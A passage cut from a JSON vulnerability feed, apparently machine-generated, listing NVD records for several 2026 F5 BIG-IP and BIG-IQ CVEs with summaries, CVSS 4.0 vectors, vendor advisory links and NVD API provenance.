bypass Appliance mode restrictions on a BIG-IP system.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:49.777Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42930","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42930","type":"primary","publishedAt":"2026-05-13T16:16:49.777Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160876","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42920","cveId":"CVE-2026-42920","aliases":[],"kind":"vulnerability","title":"When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to...","summary":"When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a Client SSL profile is configured with Allow Dynamic Record Sizing on a UDP virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:49.390Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42920","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42920","type":"primary","publishedAt":"2026-05-13T16:16:49.390Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160901","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42919","cveId":"CVE-2026-42919","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges.","summary":"A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges. A successful exploit may allow the attacker to cross a security boundary.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP systems that may allow an authenticated attacker with administrative access to escalate their privileges. A successful exploit may allow the attacker to cross a security boundary.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:49.263Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42919","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42919","type":"primary","publishedAt":"2026-05-13T16:16:49.263Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158971","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42781","cveId":"CVE-2026-42781","aliases":[],"kind":"vulnerability","title":"When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel...","summary":"When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel (TMM) resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When embedded Packet Velocity Acceleration (ePVA) acceleration is configured, undisclosed local ethernet traffic can cause an increase in ePVA and Traffic Management Microkernel (TMM) resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:48.447Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42781","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42781","type":"primary","publishedAt":"2026-05-13T16:16:48.447Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160862","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42409","cveId":"CVE-2026-42409","aliases":[],"kind":"vulnerability","title":"When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic...","summary":"When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:47.770Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip next cloud-native network functions","stacks":["F5 BIG-IP","big-ip next cloud-native network functions"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42409","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42409","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42409","type":"primary","publishedAt":"2026-05-13T16:16:47.770Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000159034","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42406","cveId":"CVE-2026-42406","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects...","summary":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.     Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.     Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:47.517Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42406","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42406","type":"primary","publishedAt":"2026-05-13T16:16:47.517Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160971","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41959","cveId":"CVE-2026-41959","aliases":[],"kind":"vulnerability","title":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST.","summary":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:46.000Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41959","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41959","type":"primary","publishedAt":"2026-05-13T16:16:46.000Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161022","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41957","cveId":"CVE-2026-41957","aliases":[],"kind":"vulnerability","title":"An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.","summary":"An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:45.867Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41957","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41957","type":"primary","publishedAt":"2026-05-13T16:16:45.867Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000156761","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41956","cveId":"CVE-2026-41956","aliases":[],"kind":"vulnerability","title":"When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.","summary":"When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:45.737Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41956","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41956","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41956","type":"primary","publishedAt":"2026-05-13T16:16:45.737Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158038","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41953","cveId":"CVE-2026-41953","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator 